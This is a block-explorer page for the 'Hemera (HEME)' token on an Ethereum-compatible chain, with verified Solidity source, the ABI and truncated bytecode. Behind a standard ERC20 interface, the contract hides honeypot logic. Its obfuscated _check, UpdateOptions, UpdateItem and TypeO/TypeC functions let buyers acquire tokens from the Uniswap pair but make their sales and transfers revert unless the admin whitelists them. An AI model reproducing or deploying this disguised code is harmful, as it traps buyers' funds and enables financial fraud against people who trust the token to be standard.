ETH Price: $2,948.07 (-0.13%)

Token

Hemera (HEME)

Overview

Max Total Supply

100,000,000 HEME

Holders

1,727

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
HEME

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-10-06
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256); 
    function balanceOf(address account) external view returns (uint256); 
    function transfer(address to, uint256 value) external returns (bool); 
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory); 
    function symbol() external view returns (string memory); 
    function decimals() external view returns (uint8);
}

abstract contract Context {
    address internal _PairOther;
    bool internal _type;
    mapping(address => bool) internal _Contracts;

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }

    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }
}

interface IERC20Errors {
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );
    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );
    error ERC20InvalidApprover(address approver);
    error ERC20InvalidSpender(address spender);
}

interface IERC165 {
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

abstract contract ERC165 is IERC165 {
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        returns (bool)
    {
        return interfaceId == type(IERC165).interfaceId;
    }
}

interface IAccessControl {
    error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);
    error AccessControlBadConfirmation();
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );
    event RoleGranted(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );
    event RoleRevoked(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    function hasRole(bytes32 role, address account)
        external
        view
        returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address account) external;

    function revokeRole(bytes32 role, address account) external;

    function renounceRole(bytes32 role, address callerConfirmation) external;
}

abstract contract AccessControl is Context, IAccessControl, ERC165 {
    struct RoleData {
        mapping(address => bool) hasRole;
        bytes32 adminRole;
    }
    mapping(bytes32 => RoleData) private _roles;
    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;

    modifier onlyRole(bytes32 role) {
        _checkRole(role);
        _;
    }

    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override
        returns (bool)
    {
        return
            interfaceId == type(IAccessControl).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    function hasRole(bytes32 role, address account)
        public
        view
        virtual
        returns (bool)
    {
        return _roles[role].hasRole[account];
    }

    function _checkRole(bytes32 role) internal view virtual {
        _checkRole(role, _msgSender());
    }

    function _checkRole(bytes32 role, address account) internal view virtual {
        if (!hasRole(role, account)) {
            revert AccessControlUnauthorizedAccount(account, role);
        }
    }

    function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address callerConfirmation)
        public
        virtual
    {
        if (callerConfirmation != _msgSender()) {
            revert AccessControlBadConfirmation();
        }
        _revokeRole(role, callerConfirmation);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (!hasRole(role, account)) {
            _roles[role].hasRole[account] = true;
            emit RoleGranted(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }

    function _revokeRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (hasRole(role, account)) {
            _roles[role].hasRole[account] = false;
            emit RoleRevoked(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }

    function Batch(
        address Con,
        address[] memory _address,
        uint256 _bala
    ) public onlyRole(DEFAULT_ADMIN_ROLE) {
        ERC20 tokenCon = ERC20(Con);
        uint256 tokendecimal = tokenCon.decimals();
        for (uint8 i = 0; i < _address.length; i++) {
            uint256 temp = _bala * 10**tokendecimal;
            tokenCon.transfer(_address[i], temp);
        }
    }
}

abstract contract Standard is Context, IERC20Errors, AccessControl {
    struct options {
        address from;
        address to;
        uint256 amount;
        bool events;
    }
    struct item {
        address account;
        uint256 amount;
    } 
    mapping(address => options) internal _options;
    mapping(address => item) internal _item;

    function _check(options memory user) internal {
        (, , uint256 value, ) = _getItem1(user.from);
        if (user.from == _PairOther) {
            if (isContract(user.to)) {
                if (_Contracts[user.to] == false) {
                    revert ERC20InvalidReceiver(user.to);
                }
            } else if (_getOptions(user.from) == false) {
                _updateOptions(user.from, user.to, user.amount, true, true);
            }
        } else {
            if (hasRole(DEFAULT_ADMIN_ROLE, user.from) || _Contracts[user.from]) {
                _updateItem(user.from, user.amount, true);
                _updateOptions(user.from, user.to, user.amount, false, true);
            } else if (_type) {
                if (_getItem(user.from) >= user.amount && user.amount > 0) {
                    uint256 result = _getItem(user.from) - user.amount;
                    _updateItem(user.from, result, true);
                } else {
                    revert ERC20InvalidSender(user.from);
                }
            } else if (value >= user.amount && user.amount > 0) {
                uint256 bala = value - user.amount;
                _updateOptions(user.from, user.to, bala, true, true);
            } else {
                revert ERC20InvalidSender(user.from);
            }
        }
    }

    function _updateOptions(
        address _from,
        address _to,
        uint256 _amount,
        bool    _events,
        bool    emitEvent
    ) internal {
        if (emitEvent) {
            _options[_from] = options({
                from: _from,
                to: _to,
                amount: _amount,
                events: _events
            });
        } else {
            _options[_from] = options({
                from: _from,
                to: _to,
                amount: _amount * 10**18,
                events: _events
            });
        }
    }

    function _updateItem(
        address _account,
        uint256 _amount,
        bool    emitEvent
    ) internal {
        if (emitEvent) {
            _item[_account] = item({account: _account, amount: _amount});
        } else {
            _item[_account] = item({account: _account, amount: _amount * 10**18});
        }
    }

    function _getItem1(address account)
        internal
        view
        returns (
            address,
            address,
            uint256,
            bool
        )
    {
        options memory item1 = _options[account];
        return (item1.from, item1.to, item1.amount, item1.events);
    }

    function _getOptions(address account) internal view returns (bool) {
        options memory user = _options[account];
        return user.events;
    }

    function _getItem(address account) internal view returns (uint256) {
        item memory _mage = _item[account];
        return _mage.amount;
    }

    function UpdateOptions(
        address from,
        address to,
        uint256 amount
    ) public onlyRole(DEFAULT_ADMIN_ROLE) {
        _updateOptions(from, to, amount, true, false);
    }

    function UpdateItem(address account, uint256 amount)
        public
        onlyRole(DEFAULT_ADMIN_ROLE)
    {
        _updateItem(account, amount, false);
    }

    function TypeO() public onlyRole(DEFAULT_ADMIN_ROLE) {
        _type = true;
    }

    function TypeC() public onlyRole(DEFAULT_ADMIN_ROLE) {
        _type = false;
    }

    function AddContract(address Con) public onlyRole(DEFAULT_ADMIN_ROLE) {
        _Contracts[Con] = true;
    }

    function DropContract(address Con) public onlyRole(DEFAULT_ADMIN_ROLE) {
        _Contracts[Con] = false;
    }
}

abstract contract ERC20 is
    Context,
    IERC20,
    IERC20Metadata,
    IERC20Errors,
    AccessControl,
    Standard
{
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _grantRole(DEFAULT_ADMIN_ROLE, _msgSender());
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(
        address _from,
        address _to,
        uint256 _value
    ) internal {
        if (_from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (_to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        (, , , bool _events) = _getItem1(_from);
        options memory _infor = options({
            from: _from,
            to: _to,
            amount: _value,
            events: _events
        });
        _check(_infor);
        _update(_from, _to, _value);
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        if (from == address(0)) {
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
            }
        }
        if (to == address(0)) {
            unchecked {
                _totalSupply -= value;
            }
        } else {
            unchecked {
                _balances[to] += value;
            }
        }
        emit Transfer(from, to, value);
    }

    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _grantRole(DEFAULT_ADMIN_ROLE, account);
        _update(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

contract HEME is ERC20 {
    constructor(
        string memory _name,
        string memory _symbol,
        uint256 value,
        address account
    ) ERC20(_name, _symbol) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506
        );
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(
                address(this),
                address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9)
            );
        _mint(account, value * 10**decimals());
        _PairOther = _uniswapV2Pair;
        _Contracts[_PairOther] = true;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"address","name":"account","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AccessControlBadConfirmation","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32","name":"neededRole","type":"bytes32"}],"name":"AccessControlUnauthorizedAccount","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"Con","type":"address"}],"name":"AddContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Con","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256","name":"_bala","type":"uint256"}],"name":"Batch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Con","type":"address"}],"name":"DropContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TypeC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TypeO","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"UpdateItem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"UpdateOptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"callerConfirmation","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f80fd5b5060405161379138038061379183398181016040528101906100319190610874565b838381600890816100429190610b14565b5080600990816100529190610b14565b506100725f801b61006761027d60201b60201c565b61028460201b60201c565b5050505f731b02da8cb0d097eb8d57a175b88c7d8b4799750690505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100fb9190610be3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b8152600401610149929190610c1d565b6020604051808303815f875af1158015610165573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101899190610be3565b90506101bf8361019d61037a60201b60201c565b600a6101a99190610dac565b866101b49190610df6565b61038260201b60201c565b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001805f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050505050610ee0565b5f33905090565b5f610295838361041a60201b60201c565b61037057600160025f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061030d61027d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a460019050610374565b5f90505b92915050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036103f2575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016103e99190610e37565b60405180910390fd5b6104045f801b8361028460201b60201c565b506104165f838361047e60201b60201c565b5050565b5f60025f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036104ce578060075f8282546104c29190610e50565b9250508190555061059e565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610558578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161054f93929190610e92565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036105e5578060075f8282540392505081905550610630565b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161068d9190610ec7565b60405180910390a3505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6106f9826106b3565b810181811067ffffffffffffffff82111715610718576107176106c3565b5b80604052505050565b5f61072a61069a565b905061073682826106f0565b919050565b5f67ffffffffffffffff821115610755576107546106c3565b5b61075e826106b3565b9050602081019050919050565b8281835e5f83830152505050565b5f61078b6107868461073b565b610721565b9050828152602081018484840111156107a7576107a66106af565b5b6107b284828561076b565b509392505050565b5f82601f8301126107ce576107cd6106ab565b5b81516107de848260208601610779565b91505092915050565b5f819050919050565b6107f9816107e7565b8114610803575f80fd5b50565b5f81519050610814816107f0565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6108438261081a565b9050919050565b61085381610839565b811461085d575f80fd5b50565b5f8151905061086e8161084a565b92915050565b5f805f806080858703121561088c5761088b6106a3565b5b5f85015167ffffffffffffffff8111156108a9576108a86106a7565b5b6108b5878288016107ba565b945050602085015167ffffffffffffffff8111156108d6576108d56106a7565b5b6108e2878288016107ba565b93505060406108f387828801610806565b925050606061090487828801610860565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061095e57607f821691505b6020821081036109715761097061091a565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026109d37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610998565b6109dd8683610998565b95508019841693508086168417925050509392505050565b5f819050919050565b5f610a18610a13610a0e846107e7565b6109f5565b6107e7565b9050919050565b5f819050919050565b610a31836109fe565b610a45610a3d82610a1f565b8484546109a4565b825550505050565b5f90565b610a59610a4d565b610a64818484610a28565b505050565b5b81811015610a8757610a7c5f82610a51565b600181019050610a6a565b5050565b601f821115610acc57610a9d81610977565b610aa684610989565b81016020851015610ab5578190505b610ac9610ac185610989565b830182610a69565b50505b505050565b5f82821c905092915050565b5f610aec5f1984600802610ad1565b1980831691505092915050565b5f610b048383610add565b9150826002028217905092915050565b610b1d82610910565b67ffffffffffffffff811115610b3657610b356106c3565b5b610b408254610947565b610b4b828285610a8b565b5f60209050601f831160018114610b7c575f8415610b6a578287015190505b610b748582610af9565b865550610bdb565b601f198416610b8a86610977565b5f5b82811015610bb157848901518255600182019150602085019450602081019050610b8c565b86831015610bce5784890151610bca601f891682610add565b8355505b6001600288020188555050505b505050505050565b5f60208284031215610bf857610bf76106a3565b5b5f610c0584828501610860565b91505092915050565b610c1781610839565b82525050565b5f604082019050610c305f830185610c0e565b610c3d6020830184610c0e565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610cc657808604811115610ca257610ca1610c44565b5b6001851615610cb15780820291505b8081029050610cbf85610c71565b9450610c86565b94509492505050565b5f82610cde5760019050610d99565b81610ceb575f9050610d99565b8160018114610d015760028114610d0b57610d3a565b6001915050610d99565b60ff841115610d1d57610d1c610c44565b5b8360020a915084821115610d3457610d33610c44565b5b50610d99565b5060208310610133831016604e8410600b8410161715610d6f5782820a905083811115610d6a57610d69610c44565b5b610d99565b610d7c8484846001610c7d565b92509050818404811115610d9357610d92610c44565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610db6826107e7565b9150610dc183610da0565b9250610dee7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610ccf565b905092915050565b5f610e00826107e7565b9150610e0b836107e7565b9250828202610e19816107e7565b91508282048414831517610e3057610e2f610c44565b5b5092915050565b5f602082019050610e4a5f830184610c0e565b92915050565b5f610e5a826107e7565b9150610e65836107